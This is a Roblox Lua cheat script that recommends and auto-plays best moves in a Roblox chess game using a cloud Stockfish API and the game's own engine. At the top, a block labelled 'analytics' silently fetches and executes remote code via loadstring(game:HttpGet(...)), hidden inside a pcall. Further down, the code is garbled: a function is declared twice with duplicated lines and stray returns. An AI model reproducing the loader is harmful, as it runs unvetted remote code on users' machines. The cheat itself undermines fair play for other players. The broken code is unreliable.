--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ae0f9e2a96a10cd15711c89"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local CoreGui = game:GetService("CoreGui") local ReplicatedStorage = game:GetService("ReplicatedStorage") local HttpService = game:GetService("HttpService") local App = require(ReplicatedStorage.ChessClient.App) local Engine = require(ReplicatedStorage.Chess.Engine) local VortexBot = require(ReplicatedStorage.Chess.VortexBot) -- Cleanup previous runs across all containers local function destroyAllInstances() local containers = {} if gethui then table.insert(containers, gethui()) end if CoreGui then table.insert(containers, CoreGui) end if Players.LocalPlayer and Players.LocalPlayer:FindFirstChild("PlayerGui") then table.insert(containers, Players.LocalPlayer.PlayerGui) end for _, c in ipairs(containers) do local old = c:FindFirstChild("RoChessAssistantGui") while old do old:Destroy() old = c:FindFirstChild("RoChessAssistantGui") end end end destroyAllInstances() -- Configuration & State local state = { showArrow = true, showEvalBar = true, autoPlay = false, autoPlayDelay = 0.6, depthMode = "normal", -- fast (12), normal (18), gm (40) maxDepth = 40, thinkTime = 12.0, minimized = false, guiVisible = true, currentBestUci = nil, currentPositionKey = nil, currentSan = "---", currentFromSq = nil, currentToSq = nil, currentPromo = 0, currentScore = 0, currentMate = nil, currentDepth = 0, currentNodes = 0, isThinking = false, lastVersionKey = "", searchToken = 0, } if STATE and STATE.onCleanup then STATE.onCleanup(function() pcall(function() App.board:setArrow("u_best", nil) end) destroyAllInstances() end) end -- Preferred parent container local targetParent = (gethui and gethui()) or CoreGui or Players.LocalPlayer:WaitForChild("PlayerGui") local screenGui = Instance.new("ScreenGui") screenGui.Name = "RoChessAssistantGui" screenGui.ResetOnSpawn = false screenGui.DisplayOrder = 9999 screenGui.Parent = targetParent -- Colors local C_BG = Color3.fromRGB(24, 26, 30) local C_HEADER = Color3.fromRGB(32, 35, 42) local C_CARD = Color3.fromRGB(36, 40, 48) local C_ACCENT = Color3.fromRGB(129, 182, 76) -- Chess.com green local C_ACCENT_HOVER = Color3.fromRGB(145, 202, 85) local C_TEXT = Color3.fromRGB(240, 242, 245) local C_TEXT_MUTED = Color3.fromRGB(140, 145, 155) local C_RED = Color3.fromRGB(235, 75, 75) local C_YELLOW = Color3.fromRGB(245, 180, 50) local C_BLUE = Color3.fromRGB(70, 145, 240) -- Main Floating Window (placed to the right of the 150px navigation bar) local mainFrame = Instance.new("Frame") mainFrame.Name = "MainFrame" mainFrame.Size = UDim2.fromOffset(210, 290) mainFrame.Position = UDim2.new(0, 155, 0.5, -145) mainFrame.BackgroundColor3 = C_BG mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.ClipsDescendants = true mainFrame.Parent = screenGui local mainCorner = Instance.new("UICorner") mainCorner.CornerRadius = UDim.new(0, 10) mainCorner.Parent = mainFrame local mainStroke = Instance.new("UIStroke") mainStroke.Color = Color3.fromRGB(50, 55, 68) mainStroke.Thickness = 1.5 mainStroke.Parent = mainFrame -- Header local header = Instance.new("Frame") header.Name = "Header" header.Size = UDim2.new(1, 0, 0, 36) header.BackgroundColor3 = C_HEADER header.BorderSizePixel = 0 header.Parent = mainFrame local headerCorner = Instance.new("UICorner") headerCorner.CornerRadius = UDim.new(0, 10) headerCorner.Parent = header local headerPatch = Instance.new("Frame") headerPatch.Size = UDim2.new(1, 0, 0, 10) headerPatch.Position = UDim2.new(0, 0, 1, -10) headerPatch.BackgroundColor3 = C_HEADER headerPatch.BorderSizePixel = 0 headerPatch.Parent = header local titleLabel = Instance.new("TextLabel") titleLabel.Text = "♟️ Best Move" titleLabel.Font = Enum.Font.GothamBold titleLabel.TextSize = 13 titleLabel.TextColor3 = C_TEXT titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.BackgroundTransparency = 1 titleLabel.Position = UDim2.fromOffset(10, 0) titleLabel.Size = UDim2.new(1, -65, 1, 0) titleLabel.Parent = header local minBtn = Instance.new("TextButton") minBtn.Text = "—" minBtn.Font = Enum.Font.GothamBold minBtn.TextSize = 13 minBtn.TextColor3 = C_TEXT_MUTED minBtn.BackgroundTransparency = 1 minBtn.Position = UDim2.new(1, -50, 0, 0) minBtn.Size = UDim2.fromOffset(24, 36) minBtn.Parent = header local closeBtn = Instance.new("TextButton") closeBtn.Text = "✕" closeBtn.Font = Enum.Font.GothamBold closeBtn.TextSize = 12 closeBtn.TextColor3 = C_TEXT_MUTED closeBtn.BackgroundTransparency = 1 closeBtn.Position = UDim2.new(1, -26, 0, 0) closeBtn.Size = UDim2.fromOffset(24, 36) closeBtn.Parent = header -- Dragging logic local dragging, dragStart, startPos header.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = mainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) UserInputService.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local delta = input.Position - dragStart mainFrame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end end) -- Content Frame local content = Instance.new("Frame") content.Name = "Content" content.Size = UDim2.new(1, -16, 1, -44) content.Position = UDim2.fromOffset(8, 40) content.BackgroundTransparency = 1 content.Parent = mainFrame -- Card: Move & Eval Display local moveCard = Instance.new("Frame") moveCard.Name = "MoveCard" moveCard.Size = UDim2.new(1, 0, 0, 66) moveCard.BackgroundColor3 = C_CARD moveCard.BorderSizePixel = 0 moveCard.Parent = content local cardCorner = Instance.new("UICorner") cardCorner.CornerRadius = UDim.new(0, 8) cardCorner.Parent = moveCard local cardStroke = Instance.new("UIStroke") cardStroke.Color = Color3.fromRGB(55, 62, 75) cardStroke.Thickness = 1 cardStroke.Parent = moveCard local bestMoveTitle = Instance.new("TextLabel") bestMoveTitle.Text = "RECOMMENDED" bestMoveTitle.Font = Enum.Font.GothamBold bestMoveTitle.TextSize = 9 bestMoveTitle.TextColor3 = C_TEXT_MUTED bestMoveTitle.TextXAlignment = Enum.TextXAlignment.Left bestMoveTitle.BackgroundTransparency = 1 bestMoveTitle.Position = UDim2.fromOffset(8, 6) bestMoveTitle.Size = UDim2.new(0.6, 0, 0, 12) bestMoveTitle.Parent = moveCard local bestMoveLabel = Instance.new("TextLabel") bestMoveLabel.Text = "---" bestMoveLabel.Font = Enum.Font.GothamBold bestMoveLabel.TextSize = 22 bestMoveLabel.TextColor3 = C_ACCENT bestMoveLabel.TextXAlignment = Enum.TextXAlignment.Left bestMoveLabel.BackgroundTransparency = 1 bestMoveLabel.Position = UDim2.fromOffset(8, 20) bestMoveLabel.Size = UDim2.new(0.6, 0, 0, 26) bestMoveLabel.Parent = moveCard local uciSquaresLabel = Instance.new("TextLabel") uciSquaresLabel.Text = "Evaluating..." uciSquaresLabel.Font = Enum.Font.Gotham uciSquaresLabel.TextSize = 10 uciSquaresLabel.TextColor3 = C_TEXT_MUTED uciSquaresLabel.TextXAlignment = Enum.TextXAlignment.Left uciSquaresLabel.BackgroundTransparency = 1 uciSquaresLabel.Position = UDim2.fromOffset(8, 48) uciSquaresLabel.Size = UDim2.new(0.6, 0, 0, 12) uciSquaresLabel.Parent = moveCard -- Eval Pill on right side of card local evalPill = Instance.new("Frame") evalPill.Name = "EvalPill" evalPill.Size = UDim2.fromOffset(60, 32) evalPill.Position = UDim2.new(1, -68, 0.5, -16) evalPill.BackgroundColor3 = Color3.fromRGB(48, 54, 65) evalPill.BorderSizePixel = 0 evalPill.Parent = moveCard local evalCorner = Instance.new("UICorner") evalCorner.CornerRadius = UDim.new(0, 6) evalCorner.Parent = evalPill local evalLabel = Instance.new("TextLabel") evalLabel.Text = "0.00" evalLabel.Font = Enum.Font.GothamBold evalLabel.TextSize = 14 evalLabel.TextColor3 = C_TEXT evalLabel.BackgroundTransparency = 1 evalLabel.Size = UDim2.fromScale(1, 1) evalLabel.Parent = evalPill -- Status & Info Row local infoRow = Instance.new("Frame") infoRow.Name = "InfoRow" infoRow.Size = UDim2.new(1, 0, 0, 18) infoRow.Position = UDim2.fromOffset(0, 72) infoRow.BackgroundTransparency = 1 infoRow.Parent = content local turnBadge = Instance.new("TextLabel") turnBadge.Text = "⚪ WHITE'S TURN" turnBadge.Font = Enum.Font.GothamBold turnBadge.TextSize = 9 turnBadge.TextColor3 = C_TEXT turnBadge.TextXAlignment = Enum.TextXAlignment.Left turnBadge.BackgroundTransparency = 1 turnBadge.Size = UDim2.new(0.55, 0, 1, 0) turnBadge.Parent = infoRow local depthStats = Instance.new("TextLabel") depthStats.Text = "D: 18 • 0k" depthStats.Font = Enum.Font.Gotham depthStats.TextSize = 9 depthStats.TextColor3 = C_TEXT_MUTED depthStats.TextXAlignment = Enum.TextXAlignment.Right depthStats.BackgroundTransparency = 1 depthStats.Size = UDim2.new(0.45, 0, 1, 0) depthStats.Position = UDim2.new(0.55, 0, 0, 0) depthStats.Parent = infoRow -- Primary Button: Play Move local playMoveBtn = Instance.new("TextButton") playMoveBtn.Name = "PlayMoveBtn" playMoveBtn.Text = "▶ Play Best Move" playMoveBtn.Font = Enum.Font.GothamBold playMoveBtn.TextSize = 12 playMoveBtn.TextColor3 = Color3.new(1, 1, 1) playMoveBtn.BackgroundColor3 = C_ACCENT playMoveBtn.BorderSizePixel = 0 playMoveBtn.Position = UDim2.fromOffset(0, 94) playMoveBtn.Size = UDim2.new(1, 0, 0, 30) playMoveBtn.Parent = content local playMoveCorner = Instance.new("UICorner") playMoveCorner.CornerRadius = UDim.new(0, 6) playMoveCorner.Parent = playMoveBtn -- Row: Auto Move & Arrow Toggles local togglesRow = Instance.new("Frame") togglesRow.Name = "TogglesRow" togglesRow.Size = UDim2.new(1, 0, 0, 26) togglesRow.Position = UDim2.fromOffset(0, 130) togglesRow.BackgroundTransparency = 1 togglesRow.Parent = content local autoBtn = Instance.new("TextButton") autoBtn.Name = "AutoBtn" autoBtn.Text = "Auto: OFF" autoBtn.Font = Enum.Font.GothamBold autoBtn.TextSize = 10 autoBtn.TextColor3 = C_TEXT_MUTED autoBtn.BackgroundColor3 = C_CARD autoBtn.BorderSizePixel = 0 autoBtn.Size = UDim2.new(0.48, 0, 1, 0) autoBtn.Parent = togglesRow local autoCorner = Instance.new("UICorner") autoCorner.CornerRadius = UDim.new(0, 6) autoCorner.Parent = autoBtn local arrowBtn = Instance.new("TextButton") arrowBtn.Name = "ArrowBtn" arrowBtn.Text = "Arrow: ON" arrowBtn.Font = Enum.Font.GothamBold arrowBtn.TextSize = 10 arrowBtn.TextColor3 = C_ACCENT arrowBtn.BackgroundColor3 = C_CARD arrowBtn.BorderSizePixel = 0 arrowBtn.Position = UDim2.new(0.52, 0, 0, 0) arrowBtn.Size = UDim2.new(0.48, 0, 1, 0) arrowBtn.Parent = togglesRow local arrowCorner = Instance.new("UICorner") arrowCorner.CornerRadius = UDim.new(0, 6) arrowCorner.Parent = arrowBtn -- Row: Eval Bar Toggle & Depth Presets local depthRow = Instance.new("Frame") depthRow.Name = "DepthRow" depthRow.Size = UDim2.new(1, 0, 0, 26) depthRow.Position = UDim2.fromOffset(0, 162) depthRow.BackgroundTransparency = 1 depthRow.Parent = content local evalBarBtn = Instance.new("TextButton") evalBarBtn.Name = "EvalBarBtn" evalBarBtn.Text = "EvalBar: ON" evalBarBtn.Font = Enum.Font.GothamBold evalBarBtn.TextSize = 10 evalBarBtn.TextColor3 = C_ACCENT evalBarBtn.BackgroundColor3 = C_CARD evalBarBtn.BorderSizePixel = 0 evalBarBtn.Size = UDim2.new(0.48, 0, 1, 0) evalBarBtn.Parent = depthRow local evalBarCorner = Instance.new("UICorner") evalBarCorner.CornerRadius = UDim.new(0, 6) evalBarCorner.Parent = evalBarBtn local depthBtn = Instance.new("TextButton") depthBtn.Name = "DepthBtn" depthBtn.Text = "Deep: 12s" depthBtn.Font = Enum.Font.GothamBold depthBtn.TextSize = 10 depthBtn.TextColor3 = C_TEXT depthBtn.BackgroundColor3 = C_CARD depthBtn.BorderSizePixel = 0 depthBtn.Position = UDim2.new(0.52, 0, 0, 0) depthBtn.Size = UDim2.new(0.48, 0, 1, 0) depthBtn.Parent = depthRow local depthCorner = Instance.new("UICorner") depthCorner.CornerRadius = UDim.new(0, 6) depthCorner.Parent = depthBtn -- Only play a move that still belongs to the current position and remains legal. local function executeBestMove() local s = App.session if not s or not s.engine or s.over then return false end if s.myColor ~= nil and s.engine.side ~= s.myColor then return false end if not state.currentBestUci or state.currentPositionKey ~= state.lastVersionKey then return false end local move = s.engine:moveFromUci(state.currentBestUci) if not move then return false end local fromSq, toSq = Engine.moveSquares64(move) local promo = Engine.movePromo(move) if not fromSq or not toSq then return false end return pcall(function() App.onBoardMove(fromSq, toSq, promo, false) end) end -- Button Handlers playMoveBtn.MouseButton1Click:Connect(function() executeBestMove() end) autoBtn.MouseButton1Click:Connect(function() state.autoPlay = not state.autoPlay if state.autoPlay then autoBtn.Text = "Auto: ON" autoBtn.TextColor3 = C_ACCENT local s = App.session if s and not s.over and s.engine and (s.myColor == nil or s.engine.side == s.myColor) then task.delay(0.4, function() if state.autoPlay then executeBestMove() end end) end else autoBtn.Text = "Auto: OFF" autoBtn.TextColor3 = C_TEXT_MUTED end end) arrowBtn.MouseButton1Click:Connect(function() state.showArrow = not state.showArrow if state.showArrow then arrowBtn.Text = "Arrow: ON" arrowBtn.TextColor3 = C_ACCENT if state.currentFromSq and state.currentToSq then App.board:setArrow("u_best", state.currentFromSq, state.currentToSq, C_ACCENT, 0.05) end else arrowBtn.Text = "Arrow: OFF" arrowBtn.TextColor3 = C_TEXT_MUTED App.board:setArrow("u_best", nil) end end) evalBarBtn.MouseButton1Click:Connect(function() state.showEvalBar = not state.showEvalBar if state.showEvalBar then evalBarBtn.Text = "EvalBar: ON" evalBarBtn.TextColor3 = C_ACCENT if state.currentScore ~= nil then App.setEval(state.currentScore, state.currentMate) end else evalBarBtn.Text = "EvalBar: OFF" evalBarBtn.TextColor3 = C_TEXT_MUTED App.setEval(nil) end end) -- The server analyzer is time-based; depth applies to the local fallback. local depthCycle = { { mode = "fast", depth = 16, time = 0.5, text = "Quick: 0.5s" }, { mode = "strong", depth = 32, time = 3.0, text = "Strong: 3s" }, { mode = "deep", depth = 40, time = 12.0, text = "Deep: 12s" }, } local depthIdx = 3 depthBtn.MouseButton1Click:Connect(function() depthIdx = (depthIdx % #depthCycle) + 1 local cur = depthCycle[depthIdx] state.depthMode = cur.mode state.maxDepth = cur.depth state.thinkTime = cur.time depthBtn.Text = cur.text state.lastVersionKey = "" end) -- Minimize toggle local function setMinimized(min) state.minimized = min if min then mainFrame.Size = UDim2.fromOffset(210, 36) content.Visible = false minBtn.Text = "□" else mainFrame.Size = UDim2.fromOffset(210, 240) content.Visible = true minBtn.Text = "—" end end minBtn.MouseButton1Click:Connect(function() setMinimized(not state.minimized) end) closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() App.board:setArrow("u_best", nil) end) -- Toggle GUI hotkey: Press H to hide/show UserInputService.InputBegan:Connect(function(input, gpe) if not gpe and input.KeyCode == Enum.KeyCode.H then state.guiVisible = not state.guiVisible mainFrame.Visible = state.guiVisible end end) -- Cloud Stockfish is primary; use the game's analyzer if the API is unavailable. local function analyzeWithCloudStockfish(fen, engine) local phase = "request" -- Validate against an engine reconstructed from the exact FEN sent to the service. local function analyzeWithCloudStockfish(fen) local ok, result = pcall(function() local url = "https://stockfish.online/api/s/v2.php?fen=" .. HttpService:UrlEncode(fen) .. "&depth=15" local response = request({ Url = url, Method = "GET" }) phase = "response" if type(response) ~= "table" or not response.Success then return nil end phase = "decode" local payload = HttpService:JSONDecode(response.Body) if type(payload) ~= "table" or payload.success ~= true then return nil end phase = "parse" local uci = type(payload.bestmove) == "string" and string.match(payload.bestmove, "^bestmove%s+([a-h][1-8][a-h][1-8][qrbn]?)") if not uci then return nil end phase = "legal move validation" if not engine:moveFromUci(uci) then return nil end local positionEngine = Engine.new(fen) if not positionEngine:moveFromUci(uci) then return nil end return { best = uci, score = tonumber(payload.evaluation) and tonumber(payload.evaluation) * 100 or 0, mate = tonumber(payload.mate), depth = 15, nodes = 0, source = "Cloud Stockfish", } end) if not ok then warn("[RoChess Cloud SF] " .. phase .. ": " .. tostring(result)) return nil end if not result then warn("[RoChess Cloud SF] no usable result at " .. phase) end return result return if ok then result else nil end -- Main Analysis Function local function makeVersionKey(s) -- The counters can repeat after resets or takebacks; include the complete board position. return tostring(s.id) .. ":" .. tostring(s.version or 0) .. ":" .. tostring(#s.ucis) .. ":" .. s.engine:getFen() .. ":" .. tostring(s.over) end local function updateAnalysis() local s = App.session if not s or not s.engine then state.searchToken += 1 state.currentBestUci = nil state.currentPositionKey = nil state.isThinking = false bestMoveLabel.Text = "---" uciSquaresLabel.Text = "No active board" turnBadge.Text = "IDLE" turnBadge.TextColor3 = C_TEXT_MUTED App.board:setArrow("u_best", nil) return end local side = s.engine.side local myCol = s.myColor or side local isMyTurn = side == myCol local positionFen = s.engine:getFen() local versionKey = makeVersionKey(s) if versionKey == state.lastVersionKey then return end state.lastVersionKey = versionKey state.searchToken += 1 state.currentBestUci = nil state.currentPositionKey = nil state.currentFromSq = nil state.currentToSq = nil state.currentPromo = 0 state.currentScore = nil state.currentMate = nil state.isThinking = false App.board:setArrow("u_best", nil) if s.over then turnBadge.Text = "GAME OVER" turnBadge.TextColor3 = C_YELLOW bestMoveLabel.Text = "END" uciSquaresLabel.Text = "Game finished" playMoveBtn.Visible = false return end playMoveBtn.Visible = true if isMyTurn then turnBadge.Text = if side == 1 then "YOUR TURN (WHITE)" else "YOUR TURN (BLACK)" turnBadge.TextColor3 = C_ACCENT playMoveBtn.BackgroundColor3 = C_ACCENT playMoveBtn.Text = "▶ Play Best Move" else turnBadge.Text = if side == 1 then "BOT TURN (WHITE)" else "BOT TURN (BLACK)" turnBadge.TextColor3 = C_TEXT_MUTED playMoveBtn.BackgroundColor3 = Color3.fromRGB(60, 65, 75) playMoveBtn.Text = "Waiting for Bot..." end state.searchToken += 1 local thisToken = state.searchToken local startFen = s.startFen local ucis = table.clone(s.ucis) local requestedDepth = state.maxDepth local thinkTime = state.thinkTime state.isThinking = true bestMoveLabel.Text = "..." uciSquaresLabel.Text = "Searching up to " .. string.format("%.1f", thinkTime) .. "s" depthStats.Text = "Analyzing" local function isCancelled() if STATE and STATE.alive and not STATE.alive() then return true end if thisToken ~= state.searchToken or App.session ~= s then return true end return makeVersionKey(s) ~= versionKey end task.spawn(function() local ok, res, usedCloud = pcall(function() local cloud = analyzeWithCloudStockfish(s.engine:getFen(), s.engine) local cloud = analyzeWithCloudStockfish(positionFen) if cloud then return cloud, true end return VortexBot.analyse(startFen, ucis, thinkTime, requestedDepth, { cancelled = isCancelled }), false end) if isCancelled() then return end state.isThinking = false if not ok or type(res) ~= "table" or type(res.best) ~= "string" then bestMoveLabel.Text = "---" uciSquaresLabel.Text = "Analysis unavailable" depthStats.Text = "No result" return end local move = s.engine:moveFromUci(res.best) if not move then bestMoveLabel.Text = "---" uciSquaresLabel.Text = "Engine returned an illegal move" depthStats.Text = "No result" return end local fromSq, toSq = Engine.moveSquares64(move) if not fromSq or not toSq then bestMoveLabel.Text = "---" uciSquaresLabel.Text = "Invalid engine result" return end state.currentBestUci = res.best state.currentPositionKey = versionKey state.currentFromSq = fromSq state.currentToSq = toSq state.currentPromo = Engine.movePromo(move) state.currentScore = tonumber(res.score) or 0 state.currentMate = tonumber(res.mate) state.currentDepth = tonumber(res.depth) or requestedDepth state.currentNodes = tonumber(res.nodes) or 0 local fromAlg = string.sub(res.best, 1, 2) local toAlg = string.sub(res.best, 3, 4) local promoChar = string.sub(res.best, 5, 5) state.currentSan = s.engine:moveToSan(move) bestMoveLabel.Text = state.currentSan uciSquaresLabel.Text = fromAlg .. " → " .. toAlg .. (promoChar ~= "" and (" (" .. string.upper(promoChar) .. ")") or "") local myScore = state.currentScore * myCol local myMate = if state.currentMate then state.currentMate * myCol else nil if myMate and myMate ~= 0 then evalLabel.Text = (myMate > 0 and "+M" or "-M") .. tostring(math.abs(myMate)) evalPill.BackgroundColor3 = if myMate > 0 then Color3.fromRGB(40, 110, 50) else Color3.fromRGB(130, 40, 40) else evalLabel.Text = string.format("%+.2f", myScore / 100) if myScore > 40 then evalPill.BackgroundColor3 = Color3.fromRGB(40, 105, 50) elseif myScore < -40 then evalPill.BackgroundColor3 = Color3.fromRGB(125, 40, 40) else evalPill.BackgroundColor3 = Color3.fromRGB(50, 55, 65) end end depthStats.Text = usedCloud and "Cloud SF • D15" or ("Vortex D" .. tostring(state.currentDepth) .. " • " .. tostring(math.floor(state.currentNodes / 1000)) .. "k") if state.showArrow then App.board:setArrow("u_best", fromSq, toSq, C_ACCENT, 0.05) end if state.showEvalBar and res.score ~= nil then App.setEval(state.currentScore, state.currentMate) end if state.autoPlay and isMyTurn then task.delay(state.autoPlayDelay, function() if not isCancelled() and state.currentPositionKey == versionKey then executeBestMove() end end) end end) end -- Kick off the first analysis immediately; the polling loop handles later positions. task.spawn(updateAnalysis) -- Loop to continuously monitor game state task.spawn(function() while screenGui.Parent do if STATE and STATE.alive and not STATE.alive() then break end pcall(updateAnalysis) task.wait(0.1) end end) print("[RoChess Assistant] Clean & Active!") return "RoChess Best Move Assistant Active"